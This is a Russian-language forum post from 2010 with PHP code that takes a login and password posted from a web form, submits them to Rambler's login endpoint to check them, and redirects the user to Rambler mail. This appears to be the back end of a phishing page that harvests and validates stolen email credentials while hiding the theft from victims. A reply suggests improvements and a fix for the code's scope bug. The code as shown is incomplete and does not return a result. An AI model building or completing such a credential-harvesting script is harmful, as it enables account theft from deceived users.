
14.01.2010, 22:19
|
|
Участник форума
Регистрация: 20.04.2007
Сообщений: 174
Провел на форуме: 2310282
Репутация:
149
|
|
PHP код:
<?php
function rambler_login($login,$passw)
{
$login = urlencode($login);
$passw = urlencode($passw);
$ch = curl_init ();
curl_setopt ( $ch , CURLOPT_URL , "http://id.rambler.ru/script/auth.cgi?mode=login" );
curl_setopt ( $ch , CURLOPT_HEADER , 0 );
curl_setopt($ch, CURLOPT_REFERER, 'http://id.rambler.ru/script/auth.cgi');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "login=$login&passw=$passw");
$res = curl_exec($ch);
curl_close ( $ch );
// а здесь должна быть функция определения валидности мыла
// если валид то делаем return true;
// если невалид то делаем return false;
}
$email = $_POST['login'];
$password = $_POST['passw'];
if(!rambler_login($email, $password)) {
echo $res;
} else {
header('Location: http://mail.rambler.ru/mail/startpage');
}
?>
Лучше через хидры.
Также переменная $res в функции rambler_login локальная т.е. после выполнения функции переменная $res не будет существовать.
Допиши после:
PHP код:
function rambler_login($login,$passw)
{
global $res;
Последний раз редактировалось GlooK; 14.01.2010 в 22:26..
|
|
|